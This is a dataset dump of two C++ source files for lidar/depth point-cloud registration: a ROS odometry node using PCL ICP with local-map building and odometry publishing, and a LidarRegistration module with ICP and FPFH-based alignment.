ICP\n//     tf::Transform rel_transform;\n//     tf::Matrix3x3 tf_r;\n//     for ( int i = 0; i < 3; i ++ )\n//       for ( int j = 0; j < 3; j ++ )\n//         tf_r[i][j] = Trans_InterFrame ( i,j );\n//\n//     tf::Vector3 tf_t;\n//     tf_t[0] = Trans_InterFrame ( 0,3 );\n//     tf_t[1] = Trans_InterFrame ( 1,3 );\n//     tf_t[2] = Trans_InterFrame ( 2,3 );\n//\n//     rel_transform.setOrigin ( tf_t );\n//     rel_transform.setBasis ( tf_r );\n//\n//     double yaw, pitch, roll;\n//     rel_transform.getBasis().getRPY ( roll, pitch, yaw );\n//\n//     if ( rel_transform.getOrigin().length() <= 0.05\n//          && std::abs ( yaw ) <= 0.05 )\n//     {\n//       Trans_Camera2Map = Trans_InterFrame * Trans_Camera2Map;\n//     }\n//     else\n//     {\n//       Trans_Camera2Map = Trans_InterFrame_last * Trans_Camera2Map;\n//     }\n//\n//     Trans_InterFrame_last = Trans_InterFrame;\n\n    Trans_Camera2Map = Trans_InterFrame * Trans_Camera2Map;\n  }\n\n  Eigen::Matrix4f Incr_Trans_Camera2Map;\n  Incr_Trans_Camera2Map = LastTrans_Camera2Map.inverse() * Trans_Camera2Map;\n\n  // Add the relative transform to previous global transform as the initial guess of ICP\n  tf::Transform rel_transform;\n  tf::Matrix3x3 tf_r;\n  for ( int i = 0; i < 3; i ++ )\n    for ( int j = 0; j < 3; j ++ )\n      tf_r[i][j] = Incr_Trans_Camera2Map ( i,j );\n\n  tf::Vector3 tf_t;\n  tf_t[0] = Incr_Trans_Camera2Map ( 0,3 );\n  tf_t[1] = Incr_Trans_Camera2Map ( 1,3 );\n  tf_t[2] = Incr_Trans_Camera2Map ( 2,3 );\n\n  rel_transform.setOrigin ( tf_t );\n  rel_transform.setBasis ( tf_r );\n\n  double yaw, pitch, roll;\n  rel_transform.getBasis().getRPY ( roll, pitch, yaw );\n\n  if ( rel_transform.getOrigin().length() >= 0.05 || std::abs ( yaw ) >= 0.05 || refine == false)\n  {\n\n    pcl::transformPointCloud ( *Original_Reading, *src,  Trans_Camera2Map );\n    pcl::copyPointCloud ( *localMapPointCloud, *tgt );\n\n\n    ROS_INFO_STREAM ( \"reading cloud size is: \" << src->size() );\n    ROS_INFO_STREAM ( \"reference cloud size is: \" << tgt->size() );\n\n\n    // Reading cloud prepared for iteration\n    pcl::PointCloud<pcl::PointNormal>::Ptr input_transformed ( src );\n\n    //Define temporary transformation and final transformation\n//     Eigen::Matrix4f transformation_ = Eigen::Matrix4f::Identity();\n    Eigen::Matrix4f final_transformation_ = Eigen::Matrix4f::Identity ( 4, 4 );\n//     Eigen::Matrix4f pre_transformation_ = Eigen::Matrix4f::Identity ( 4, 4 );\n\n      /*****************************************PCL ICP Solution************************************************\n      int nr_iterations_ = 0;\n      bool converged_ = false;\n\n      //Step5: Find closest point correspondences in source and target point cloud\n      boost::shared_ptr<pcl::Correspondences> correspondences ( new pcl::Correspondences );\n      pcl::registration::CorrespondenceEstimation<pcl::PointNormal, pcl::PointNormal> corr_est;\n      corr_est.setInputSource ( input_transformed );\n      corr_est.setInputTarget ( tgt );\n\n\n      pcl::registration::DefaultConvergenceCriteria<float>::Ptr convergence_criteria_ (\n        new pcl::registration::DefaultConvergenceCriteria<float> ( nr_iterations_, transformation_,\n            *correspondences ) );\n      convergence_criteria_->setMaximumIterations ( max_iterations );\n      convergence_criteria_->setRelativeMSE ( euclidean_fitness_epsilon );\n      convergence_criteria_->setTranslationThreshold ( max_trans_epsilon );\n      convergence_criteria_->setRotationThreshold ( 1.0 - max_trans_epsilon );\n\n      //Step6: Reject correspondence outliers using different methods\n      typedef pcl::registration::CorrespondenceRejector::Ptr CorrespondenceRejectorPtr;\n      std::vector<CorrespondenceRejectorPtr> correspondence_rejectors_;\n\n      boost::shared_ptr<pcl::registration::CorrespondenceRejectorDistance> rejector_distance (\n        new pcl::registration::CorrespondenceRejectorDistance );\n      rejector_distance->setInputSource<pcl::PointNormal> ( input_transformed );\n      rejector_distance->setInputTarget<pcl::PointNormal> ( tgt );\n      rejector_distance->setMaximumDistance ( rej_max_corresdist );\n      correspondence_rejectors_.push_back ( rejector_distance );\n\n\n      ros::WallTime startTime = ros::WallTime::now();\n      // Step7: Repeat until convergence\n      do\n      {\n        ros::WallTime t0 = ros::WallTime::now();\n        corr_est.determineCorrespondences ( *correspondences, max_corresdist );\n\n        ros::WallTime t1 = ros::WallTime::now();\n        ROS_DEBUG_STREAM ( \"Finding correspondence took: \" << ( t1 - t0 ).toSec() << \"s \" );\n\n        //corr_est.determineReciprocalCorrespondences(*correspondences, max_corresdist);\n        //ROS_DEBUG(\"No. of correspondences: %i \", (int) correspondences->size());\n\n        //Reject some potential wrong correspondence according to different kind of methods\n        pcl::CorrespondencesPtr temp_correspondences ( new pcl::Correspondences ( *correspondences ) );\n        boost::shared_ptr<pcl::Correspondences> selected_correspondences ( new pcl::Correspondences );\n        for ( size_t i = 0; i < correspondence_rejectors_.size(); ++i )\n        {\n          correspondence_rejectors_[i]->setInputCorrespondences ( temp_correspondences );\n          correspondence_rejectors_[i]->getCorrespondences ( *correspondences );\n          // Modify input for the next iteration\n          if ( i < correspondence_rejectors_.size() - 1 )\n            *temp_correspondences = *correspondences;\n        }\n        size_t cnt = correspondences->size();\n        //ROS_INFO(\"Selected point correspondence number is: %i \", (int ) cnt);\n\n        ros::WallTime t2 = ros::WallTime::now();\n        ROS_DEBUG_STREAM ( \"Rejecting correspondence took: \" << ( t2 - t1 ).toSec() << \"s \" );\n\n\n        // Check whether we have enough correspondences\n        if ( ( int ) cnt < min_number_correspondences )\n        {\n          ROS_ERROR_STREAM (\n            \"[pcl::%s::computeTransformation] Not enough correspondences found. Relax your threshold parameters.\\n\" );\n          convergence_criteria_->setConvergenceState (\n            pcl::registration::DefaultConvergenceCriteria<float>::CONVERGENCE_CRITERIA_NO_CORRESPONDENCES );\n          converged_ = false;\n\n          final_transformation_ = pre_transformation_;\n          break;\n        }\n\n        pcl::registration::TransformationEstimationPointToPlaneLLS<pcl::PointNormal, pcl::PointNormal, float> trans_est_lm;\n        //pcl::registration::TransformationEstimationLM<pcl::PointNormal, pcl::PointNormal, float> trans_est_lm;\n\n        trans_est_lm.estimateRigidTransformation ( *input_transformed, *tgt, *correspondences, transformation_ );\n\n        ros::WallTime t3 = ros::WallTime::now();\n        ROS_DEBUG_STREAM ( \"Solving the equation took \" << ( t3 - t2 ).toSec() << \"s \" );\n        ROS_DEBUG_STREAM ( \"                                                         \" );\n\n        // Tranform the iterative input cloud for next iteration\n        pcl::transformPointCloud ( *input_transformed, *input_transformed, transformation_ );\n\n        // Obtain the final transformation\n        final_transformation_ = transformation_ * final_transformation_;\n\n        ++nr_iterations_;\n\n        //Check whether the iteration should be stopped\n        converged_ = convergence_criteria_->hasConverged();\n      }\n      while ( !converged_ );\n\n      ROS_DEBUG_STREAM ( \"ICP iteration number is: \" << nr_iterations_ );\n      double dt = ( ros::WallTime::now() - startTime ).toSec();\n      ROS_INFO_STREAM ( \"ICP Iteration took: \" << dt << \"s \" );\n       **************************************************************************************************************************************/\n\n      \n    pcl::IterativeClosestPoint<pcl::PointNormal, pcl::PointNormal> icp;\n    typedef pcl::registration::TransformationEstimationPointToPlaneLLS<pcl::PointNormal, pcl::PointNormal> PointToPlane;\n    boost::shared_ptr<PointToPlane> point_to_plane ( new PointToPlane );\n    icp.setTransformationEstimation ( point_to_plane );\n\n    boost::shared_ptr<pcl::registration::CorrespondenceRejectorDistance> rejector_distance ( new pcl::registration::CorrespondenceRejectorDistance );\n    rejector_distance->setInputSource<pcl::PointNormal> ( src );\n    rejector_distance->setInputTarget<pcl::PointNormal> ( tgt );\n    rejector_distance->setMaximumDistance (rej_max_corresdist );\n\n    icp.addCorrespondenceRejector ( rejector_distance );\n\n\n    icp.setInputSource ( src );\n    icp.setInputTarget ( tgt );\n\n    // Set the max correspondence distance to 5cm (e.g., correspondences with higher distances will be ignored)\n    icp.setMaxCorrespondenceDistance (max_corresdist);\n    // Set the maximum number of iterations (criterion 1)\n    icp.setMaximumIterations ( max_iterations );\n    // Set the transformation epsilon (criterion 2)\n    icp.setTransformationEpsilon ( max_trans_epsilon );\n    // Set the euclidean distance difference epsilon (criterion 3)\n    icp.setEuclideanFitnessEpsilon ( euclidean_fitness_epsilon );\n\n\n    pcl::PointCloud<pcl::PointNormal> Final;\n    icp.align ( Final );\n    final_transformation_ = icp.getFinalTransformation();\n    \n    \n//     //GICP\n//     pcl::GeneralizedIterativeClosestPoint<pcl::PointNormal, pcl::PointNormal> gicp;\n//     //gicp.setMaxCorrespondenceDistance(0.05);\n//     gicp.setInputSource ( input_transformed );\n//     gicp.setInputTarget ( tgt );\n//     pcl::PointCloud<pcl::PointNormal> Final1;\n//     gicp.align ( Final1 );\n//     std::cout << \"GICP has converged:\" << gicp.hasConverged() << \" score: \" << gicp.getFitnessScore() << std::endl;\n//     final_transformation_ = gicp.getFinalTransformation();\n\n\n\n\n    //get the transformation matrix between reading cloud and map cloud in Global Map Coordinate\n    Trans_Camera2Map = final_transformation_ * Trans_Camera2Map;\n    //std::cout << \"Trans_Camera2Map\" << std::endl << Trans_Camera2Map << std::endl;\n\n\n    Eigen::Matrix4f Final_Trans = Trans_Camera2Map;\n\n    nav_msgs::Odometry accumOdom;\n    accumOdom = EigenMatrix2OdomMsg ( Final_Trans, 1, mapFrame, \"\", stamp );\n    // Publish accumulate odometry\n    if ( odomPub.getNumSubscribers() )\n      odomPub.publish ( accumOdom );\n\n\n    //Compute the relative odometry between current frame and previous frame\n    double deltaT = currTime - prvTime;\n    if ( deltaT > 0 )\n    {\n      ROS_DEBUG ( \"deltaT:  %f\", deltaT );\n\n      CurrTrans_Camera2Map = Trans_Camera2Map;\n      Eigen::Matrix4f temp_Trans = LastTrans_Camera2Map.inverse() * CurrTrans_Camera2Map;\n      Relative_Trans = temp_Trans.inverse();\n\n      if ( do_pub.getNumSubscribers() )\n        do_pub.publish ( EigenMatrix2OdomMsg ( Relative_Trans, deltaT, \"prev_asus_frame\", \"asus_frame\", stamp ) );\n\n      LastTrans_Camera2Map = CurrTrans_Camera2Map;\n    }\n\n    // Compute tf and Publish tf\n    publishLock.lock();\n    tf::Matrix3x3 rot_mat ( Final_Trans ( 0, 0 ), Final_Trans ( 0, 1 ), Final_Trans ( 0, 2 ),\n                            Final_Trans ( 1, 0 ), Final_Trans ( 1, 1 ), Final_Trans ( 1, 2 ),\n                            Final_Trans ( 2, 0 ), Final_Trans ( 2, 1 ), Final_Trans ( 2, 2 ) );\n    tf::Vector3 t ( Final_Trans ( 0, 3 ), Final_Trans ( 1, 3 ), Final_Trans ( 2, 3 ) );\n    tf::Transform transform ( rot_mat, t );\n    tfBroadcaster.sendTransform ( tf::StampedTransform ( transform, stamp, mapFrame, odomFrame ) );\n    publishLock.unlock();\n    processingNewCloud = false;\n\n\n    //Local Map Based ICP. Construct global map using another thread\n    if ( !mapBuildingInProgress )\n    {\n\n      tempCloud->clear();\n      pcl::copyPointCloud ( *Original_Reading, *tempCloud );\n      // make sure we process the last available map\n      ROS_DEBUG_STREAM ( \"Adding new points to the map in background\" );\n      ROS_DEBUG_STREAM ( \"The added cloud size is: \" << tempCloud->size() );\n\n      mapBuildingTask = MapBuildingTask (\n                          boost::bind ( &Odometer::updateMap, this, tempCloud, Trans_Camera2Map, true ) );\n      mapBuildingFuture = mapBuildingTask.get_future();\n      mapBuildingThread = boost::thread ( boost::move ( boost::ref ( mapBuildingTask ) ) );\n      mapBuildingInProgress = true;\n    }\n\n  }\n\n  prvTime = currTime;\n  Trans_AsusInit2AsusFrame_Last = Trans_AsusInit2AsusFrame;\n  LastTrans_Camera2Map = Trans_Camera2Map;\n}\n\nOdometer::DP* Odometer::updateMap ( DP* newPointCloud, Eigen::Matrix4f Ticp, bool updateExisting )\n{\n  pcl::PointCloud<pcl::PointNormal>::Ptr mapCloud ( new pcl::PointCloud<pcl::PointNormal> );\n  pcl::PointCloud<pcl::PointNormal>::Ptr downSizeCloud ( new pcl::PointCloud<pcl::PointNormal> );\n  pcl::PointCloud<pcl::PointNormal>::Ptr truncated_Cloud ( new pcl::PointCloud<pcl::PointNormal> );\n  pcl::PointCloud<pcl::PointNormal>::Ptr finalCloud ( new pcl::PointCloud<pcl::PointNormal> );\n  //DP *integralMap(new DP);\n\n  std::unique_ptr<DP> integralMap ( new DP );\n\n  ROS_DEBUG ( \"Previous Map point cloud size is: %i\", localMapPointCloud->height * localMapPointCloud->width );\n  //Transform the new point cloud into Global Map Coordinate and concatenate with previous global map\n  pcl::transformPointCloud ( *newPointCloud, *mapCloud, Ticp );\n  ROS_DEBUG_STREAM ( \"New added point cloud size is: \" << mapCloud->points.size() );\n\n  if ( useMap )\n  {\n    // Merge point clouds to map\n    if ( updateExisting )\n    {\n      *mapCloud += *localMapPointCloud;\n    }\n\n    // Downsampling the global map point cloud to a fixed density\n    pcl::VoxelGrid<pcl::PointNormal> sor;\n    sor.setInputCloud ( mapCloud );\n    sor.setLeafSize ( mapVoxelLeafSize, mapVoxelLeafSize, mapVoxelLeafSize );\n    sor.filter ( *downSizeCloud );\n    ROS_DEBUG_STREAM ( \"Map size after downsampling is: \" << downSizeCloud->points.size() );\n\n    pcl::copyPointCloud ( *mapCloud, *downSizeCloud );\n\n    if ( ( int ) downSizeCloud->points.size() > localMapNum )\n    {\n      truncated_Cloud->header.frame_id = downSizeCloud->header.frame_id;\n      truncated_Cloud->height = 1;\n      truncated_Cloud->is_dense = true;\n      for ( int i = 0; i < localMapNum; i++ )\n      {\n        truncated_Cloud->push_back ( downSizeCloud->points[i] );\n      }\n      truncated_Cloud->header.seq = downSizeCloud->header.seq;\n      truncated_Cloud->header.stamp = downSizeCloud->header.stamp;\n      pcl::copyPointCloud ( *truncated_Cloud, *finalCloud );\n    }\n    else\n    {\n      pcl::copyPointCloud ( *downSizeCloud, *finalCloud );\n    }\n\n    // Calculate the Normals of the point cloud using KD-tree\n    pcl::NormalEstimation<pcl::PointNormal, pcl::PointNormal> norm_est;\n    norm_est.setSearchMethod ( pcl::search::KdTree<pcl::PointNormal>::Ptr ( new pcl::search::KdTree<pcl::PointNormal> ) );\n    norm_est.setKSearch ( 5 );\n    norm_est.setInputCloud ( finalCloud );\n    norm_est.compute ( *finalCloud );\n\n    pcl::copyPointCloud ( *finalCloud, *integralMap );\n  }\n  else\n  {\n    pcl::copyPointCloud ( *mapCloud, *integralMap );\n  }\n\n  return integralMap.release();\n}\n\nvoid Odometer::setMap ( DP* newPointCloud )\n{\n  // delete old map\n  if ( localMapPointCloud )\n    delete localMapPointCloud;\n\n  // set new map\n  localMapPointCloud = newPointCloud;\n\n  sensor_msgs::PointCloud2 localMapCloudMsg;\n  pcl::toROSMsg ( *localMapPointCloud, localMapCloudMsg );\n  localMapCloudMsg.header.frame_id = mapFrame;\n\n  // Publish map point cloud\n  if ( localmapPub.getNumSubscribers() )\n    localmapPub.publish ( localMapCloudMsg );\n}\n\nvoid Odometer::publishLoop ( double publishPeriod )\n{\n  if ( publishPeriod == 0 )\n    return;\n  ros::Rate r ( 1.0 / publishPeriod );\n  while ( ros::ok() )\n  {\n    publishTransform();\n    r.sleep();\n  }\n}\n\nvoid Odometer::publishTransform()\n{\n\n  if ( processingNewCloud == false )\n  {\n    this->publishLock.lock();\n\n    tf::Matrix3x3 rot_mat ( Trans_Camera2Map ( 0, 0 ), Trans_Camera2Map ( 0, 1 ), Trans_Camera2Map ( 0, 2 ),\n                            Trans_Camera2Map ( 1, 0 ), Trans_Camera2Map ( 1, 1 ), Trans_Camera2Map ( 1, 2 ),\n                            Trans_Camera2Map ( 2, 0 ), Trans_Camera2Map ( 2, 1 ), Trans_Camera2Map ( 2, 2 ) );\n    tf::Vector3 t ( Trans_Camera2Map ( 0, 3 ), Trans_Camera2Map ( 1, 3 ), Trans_Camera2Map ( 2, 3 ) );\n    tf::Transform transform ( rot_mat, t );\n    // Note: we use now as timestamp to refresh the tf and avoid other buffer to be empty\n    tfBroadcaster.sendTransform ( tf::StampedTransform ( transform, ros::Time::now(), mapFrame, odomFrame ) );\n\n    this->publishLock.unlock();\n  }\n\n}\n\nnav_msgs::Odometry Odometer::EigenMatrix2OdomMsg ( const Eigen::Matrix4f& inTr, double deltaT,\n    const std::string& frame_id, const std::string& child_frame_id, const ros::Time& stamp )\n{\n  nav_msgs::Odometry odom;\n  odom.header.stamp = stamp;\n  odom.header.frame_id = frame_id;\n  odom.child_frame_id = child_frame_id;\n\n  odom.pose.pose.position.x = inTr ( 0, 3 );\n  odom.pose.pose.position.y = inTr ( 1, 3 );\n  odom.pose.pose.position.z = inTr ( 2, 3 );\n  odom.twist.twist.linear.x = inTr ( 0, 3 ) / deltaT;\n  odom.twist.twist.linear.y = inTr ( 1, 3 ) / deltaT;\n  odom.twist.twist.linear.z = inTr ( 2, 3 ) / deltaT;\n\n\n  Eigen::Matrix3d R;\n  for ( int row = 0; row < 3; row++ )\n  {\n    for ( int col = 0; col < 3; col++ )\n    {\n      R ( row, col ) = inTr ( row, col );\n    }\n  }\n\n  // rotate coordinate frame so that look vector is +X, and up is +Z\n  Eigen::Matrix3d M;\n  M <<  0,  0, 1,\n    1,  0, 0,\n    0,  1, 0;\n\n  R = R * M.transpose ();\n\n  std::vector<float> euler ( 3 );\n  euler[0] = atan ( R ( 1, 2 ) / R ( 2, 2 ) );\n  euler[1] = asin ( -R ( 0, 2 ) );\n  euler[2] = atan ( R ( 0, 1 ) / R ( 0, 0 ) );\n\n  Eigen::Quaterniond quat ( R );\n\n  odom.pose.pose.orientation.x = ( double ) quat.x();\n  odom.pose.pose.orientation.y = ( double ) quat.y();\n  odom.pose.pose.orientation.z = ( double ) quat.z();\n  odom.pose.pose.orientation.w = ( double ) quat.w();\n\n  odom.twist.twist.angular.x = euler[0] / deltaT;\n  odom.twist.twist.angular.y = euler[1] / deltaT;\n  odom.twist.twist.angular.z = euler[2] / deltaT;\n\n  odom.pose.covariance[0 + 0 * 6] = 0.1;\n  odom.pose.covariance[1 + 1 * 6] = 0.1;\n  odom.pose.covariance[2 + 2 * 6] = 0.1;\n  odom.pose.covariance[3 + 3 * 6] = 0.1;\n  odom.pose.covariance[4 + 4 * 6] = 0.1;\n  odom.pose.covariance[5 + 5 * 6] = 0.1;\n  odom.twist.covariance[0 + 0 * 6] = 0.01;\n  odom.twist.covariance[1 + 1 * 6] = 0.01;\n  odom.twist.covariance[2 + 2 * 6] = 0.01;\n  odom.twist.covariance[3 + 3 * 6] = 0.01;\n  odom.twist.covariance[4 + 4 * 6] = 0.01;\n  odom.twist.covariance[5 + 5 * 6] = 0.01;\n\n  return odom;\n}\n\n// Main function supporting the Mapper class\nint main ( int argc, char **argv )\n{\n  ros::init ( argc, argv, \"odometer\" );\n  ros::NodeHandle n;\n  ros::NodeHandle nh ( \"~\" );\n\n  //vis.setBackgroundColor(0,0,0);\n\n  Odometer Odometer ( n, nh );\n  ros::spin();\n\n  return 0;\n}\n\n\n", "meta": {"hexsha": "4347a13ba9f825fb8ea52288d29655a1baf54bce", "size": 31608, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/refine.cpp", "max_stars_repo_name": "NEU-ZJX/rangeflow_odom", "max_stars_repo_head_hexsha": "088a942d744f1305e6a6c1cf7beba148dd3027bc", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2018-09-19T02:16:24.000Z", "max_stars_repo_stars_event_max_datetime": "2018-10-22T13:36:39.000Z", "max_issues_repo_path": "src/refine.cpp", "max_issues_repo_name": "NEU-ZJX/rangeflow_odom", "max_issues_repo_head_hexsha": "088a942d744f1305e6a6c1cf7beba148dd3027bc", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2021-03-22T08:49:55.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-22T08:49:55.000Z", "max_forks_repo_path": "src/refine.cpp", "max_forks_repo_name": "shichaoy/rangeflow_odom", "max_forks_repo_head_hexsha": "088a942d744f1305e6a6c1cf7beba148dd3027bc", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 3.0, "max_forks_repo_forks_event_min_datetime": "2018-09-19T02:16:34.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-22T08:00:05.000Z", "avg_line_length": 36.247706422, "max_line_length": 149, "alphanum_fraction": 0.6764426727, "num_tokens": 8425, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.28457599814899737, "lm_q1q2_score": 0.1456222635531038}}
{"text": "/*\n * @Descripttion: \n * @version: 1.0\u7248\u672c\n * @Author: Frank.Wu\n * @Date: 2019-11-18 21:31:07\n * @LastEditors: Frank.Wu\n * @LastEditTime: 2020-05-26 12:06:41\n */\n#ifdef _USE_PCL_\n#include \"LidarRegistration.h\"\n#include <iostream>\n#include <pcl/registration/icp.h>           //ICP\u7c7b\u76f8\u5173\u5934\u6587\u4ef6\n#include <pcl/registration/icp_nl.h>        //\u975e\u7ebf\u6027ICP \u76f8\u5173\u5934\u6587\u4ef6\n#include <pcl/registration/transforms.h>      //\u53d8\u6362\u77e9\u9635\u7c7b\u5934\u6587\u4ef6\n\n#include <pcl/features/fpfh.h>\n#include <pcl/registration/ia_ransac.h>\n#include <pcl/features/normal_3d.h>\n#include <pcl/kdtree/kdtree_flann.h>\n#include <boost/thread/thread.hpp>\n#include <pcl/features/fpfh_omp.h> //\u5305\u542bfpfh\u52a0\u901f\u8ba1\u7b97\u7684omp(\u591a\u6838\u5e76\u884c\u8ba1\u7b97)\n#include <pcl/registration/correspondence_estimation.h>\n#include <pcl/registration/correspondence_rejection_features.h> //\u7279\u5f81\u7684\u9519\u8bef\u5bf9\u5e94\u5173\u7cfb\u53bb\u9664\n#include <pcl/registration/correspondence_rejection_sample_consensus.h> //\u968f\u673a\u91c7\u6837\u4e00\u81f4\u6027\u53bb\u9664\n\nusing namespace std;\nlong LidarRegistration::LidarRegistration_ICP(pcl::PointCloud<pcl::PointXYZ>::Ptr ref_cloud,\n                          pcl::PointCloud<pcl::PointXYZ>::Ptr input_cloud,\n                          const char* pathRegistration)\n{\n    pcl::IterativeClosestPoint<pcl::PointXYZ, pcl::PointXYZ> icp;   //\u521b\u5efaIterativeClosestPoint\u7684\u5bf9\u8c61\n    \n    pcl::search::KdTree<pcl::PointXYZ>::Ptr tree1 (new pcl::search::KdTree<pcl::PointXYZ>);\n\ttree1->setInputCloud(input_cloud);\n\tpcl::search::KdTree<pcl::PointXYZ>::Ptr tree2 (new pcl::search::KdTree<pcl::PointXYZ>);\n\ttree2->setInputCloud(ref_cloud);\n\ticp.setSearchMethodSource(tree1);\n\ticp.setSearchMethodTarget(tree2);\n\n    icp.setInputSource(input_cloud);                                 //cloud_in\u8bbe\u7f6e\u4e3a\u70b9\u4e91\u7684\u6e90\u70b9\n    icp.setInputTarget(ref_cloud);                                  //cloud_out\u8bbe\u7f6e\u4e3a\u4e0ecloud_in\u5bf9\u5e94\u7684\u5339\u914d\u76ee\u6807\n    icp.setMaxCorrespondenceDistance(1500);\n    icp.setMaximumIterations(300);\n    icp.setTransformationEpsilon (1e-8);\n    icp.setEuclideanFitnessEpsilon (0.1);\n    pcl::PointCloud<pcl::PointXYZ> registration;                    //\u5b58\u50a8\u7ecf\u8fc7\u914d\u51c6\u53d8\u6362\u70b9\u4e91\u540e\u7684\u70b9\u4e91\n    icp.align(registration);                                        //\u6253\u5370\u914d\u51c6\u76f8\u5173\u8f93\u5165\u4fe1\u606f\n    std::cout << \"has converged:\" << icp.hasConverged() <<\" score: \" <<icp.getFitnessScore() << std::endl;\n    std::cout << icp.getFinalTransformation() << std::endl;\n\n    //\u914d\u51c6\u70b9\u4e91\u4fdd\u5b58\u5230\u6587\u4ef6\u4e2d\n    pcl::io::savePCDFileASCII (pathRegistration, registration); //\u5c06\u70b9\u4e91\u4fdd\u5b58\u5230PCD\u6587\u4ef6\u4e2d\n    return 0;\n}\n\nlong LidarRegistration::LidarRegistration_FPFH(pcl::PointCloud<pcl::PointXYZ>::Ptr ref_cloud,\n                          pcl::PointCloud<pcl::PointXYZ>::Ptr input_cloud,\n                          const char* pathRegistration)\n{\n    clock_t start,end,time;\n    start  = clock();\n    pcl::search::KdTree<pcl::PointXYZ>::Ptr tree (new pcl::search::KdTree<pcl::PointXYZ> ());\n    pcl::PointCloud<pcl::FPFHSignature33>::Ptr source_fpfh =  compute_fpfh_feature(input_cloud,tree);\n    pcl::PointCloud<pcl::FPFHSignature33>::Ptr target_fpfh =  compute_fpfh_feature(ref_cloud,tree);\n\n    //\u5bf9\u9f50(\u5360\u7528\u4e86\u5927\u90e8\u5206\u8fd0\u884c\u65f6\u95f4)\n    pcl::SampleConsensusInitialAlignment<pcl::PointXYZ,pcl::PointXYZ,pcl::FPFHSignature33> sac_ia;\n    sac_ia.setInputSource(input_cloud);\n    sac_ia.setSourceFeatures(source_fpfh);\n    sac_ia.setInputTarget(ref_cloud);\n    sac_ia.setTargetFeatures(target_fpfh);\n    pcl::PointCloud<pcl::PointXYZ>::Ptr align (new pcl::PointCloud<pcl::PointXYZ>());\n    //sac_ia.setNumberOfSamples(20);  //\u8bbe\u7f6e\u6bcf\u6b21\u8fed\u4ee3\u8ba1\u7b97\u4e2d\u4f7f\u7528\u7684\u6837\u672c\u6570\u91cf\uff08\u53ef\u7701\uff09,\u53ef\u8282\u7701\u65f6\u95f4\n    sac_ia.setCorrespondenceRandomness(6); //\u8bbe\u7f6e\u8ba1\u7b97\u534f\u65b9\u5dee\u65f6\u9009\u62e9\u591a\u5c11\u8fd1\u90bb\u70b9\uff0c\u8be5\u503c\u8d8a\u5927\uff0c\u534f\u9632\u5dee\u8d8a\u7cbe\u786e\uff0c\u4f46\u662f\u8ba1\u7b97\u6548\u7387\u8d8a\u4f4e.(\u53ef\u7701)\n    sac_ia.align(*align); \n    end = clock();\n    pcl::io::savePCDFile (pathRegistration, *align);\n    printf(\"calculate time is: %lf\\n\",float (end-start)/CLOCKS_PER_SEC);\n}\n\n/**\n * TODO:\n * \u5728\u8ba1\u7b97FPFH\u7279\u5f81\u7684\u8fc7\u7a0b\u4e2d\u4e00\u76f4\u63d0\u793a\u5185\u5b58\u6ea2\u51fa\uff0c\u53e6\u5916\u8ba1\u7b97\u7684\u7279\u5f81\u5411\u91cf\u7684\u503c\u4e00\u76f4\u4e0d\u592a\u5bf9\uff0c\u9700\u8981\u8fdb\u4e00\u6b65\u68c0\u67e5\n **/\npcl::PointCloud<pcl::FPFHSignature33>::Ptr LidarRegistration::compute_fpfh_feature(pcl::PointCloud<pcl::PointXYZ>::Ptr input_cloud,pcl::search::KdTree<pcl::PointXYZ>::Ptr tree)\n{\n    //\u6cd5\u5411\u91cf\n    pcl::PointCloud<pcl::Normal>::Ptr point_normal (new  pcl::PointCloud<pcl::Normal>());\n    pcl::NormalEstimation<pcl::PointXYZ,pcl::Normal> est_normal;\n    est_normal.setInputCloud(input_cloud);\n    est_normal.setSearchMethod(tree);\n    est_normal.setKSearch(5);\n    // est_normal.setRadiusSearch(5);\n    est_normal.compute(*point_normal);\n    //std::cout<<point_normal->points[1000]<<std::endl;\n    //fpfh \u4f30\u8ba1\n    pcl::PointCloud<pcl::FPFHSignature33>::Ptr fpfh (new pcl::PointCloud<pcl::FPFHSignature33>());\n    //pcl::FPFHEstimation<pcl::PointXYZ,pcl::Normal,pcl::FPFHSignature33> est_target_fpfh;\n    pcl::FPFHEstimationOMP<pcl::PointXYZ,pcl::Normal,pcl::FPFHSignature33> est_fpfh;\n    est_fpfh.setNumberOfThreads(4); //\u6307\u5b9a4\u6838\u8ba1\u7b97\n    // pcl::search::KdTree<pcl::PointXYZ>::Ptr tree4 (new pcl::search::KdTree<pcl::PointXYZ> ());\n    est_fpfh.setInputCloud(input_cloud);\n    est_fpfh.setInputNormals(point_normal);\n    est_fpfh.setSearchMethod(tree);\n    est_fpfh.setKSearch(10);\n    // est_fpfh.setRadiusSearch(8);\n    est_fpfh.compute(*fpfh);\n    return fpfh;\n}\n\n#endif", "meta": {"hexsha": "dc7c6e8215ef965c989771de4852566c58705132", "size": 4928, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/LidarPCLAlgorithm/LidarRegistration.cpp", "max_stars_repo_name": "RemoteSensingFrank/LidarProc", "max_stars_repo_head_hexsha": "f6f6868e82b87171533f6e8cd998fdaef2bbf745", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 44.0, "max_stars_repo_stars_event_min_datetime": "2018-03-12T00:32:07.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-16T04:34:04.000Z", "max_issues_repo_path": "src/LidarPCLAlgorithm/LidarRegistration.cpp", "max_issues_repo_name": "Xiaobin-Jiang/LidarProc", "max_issues_repo_head_hexsha": "3ab44cbf460626c15a00f4bf2b8ffd85e4008d22", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2020-05-20T09:41:40.000Z", "max_issues_repo_issues_event_max_datetime": "2020-12-17T06:37:26.000Z", "max_forks_repo_path": "src/LidarPCLAlgorithm/LidarRegistration.cpp", "max_forks_repo_name": "Xiaobin-Jiang/LidarProc", "max_forks_repo_head_hexsha": "3ab44cbf460626c15a00f4bf2b8ffd85e4008d22", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 42.0, "max_forks_repo_forks_event_min_datetime": "2018-03-12T00:32:06.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-11T00:37:26.000Z", "avg_line_length": 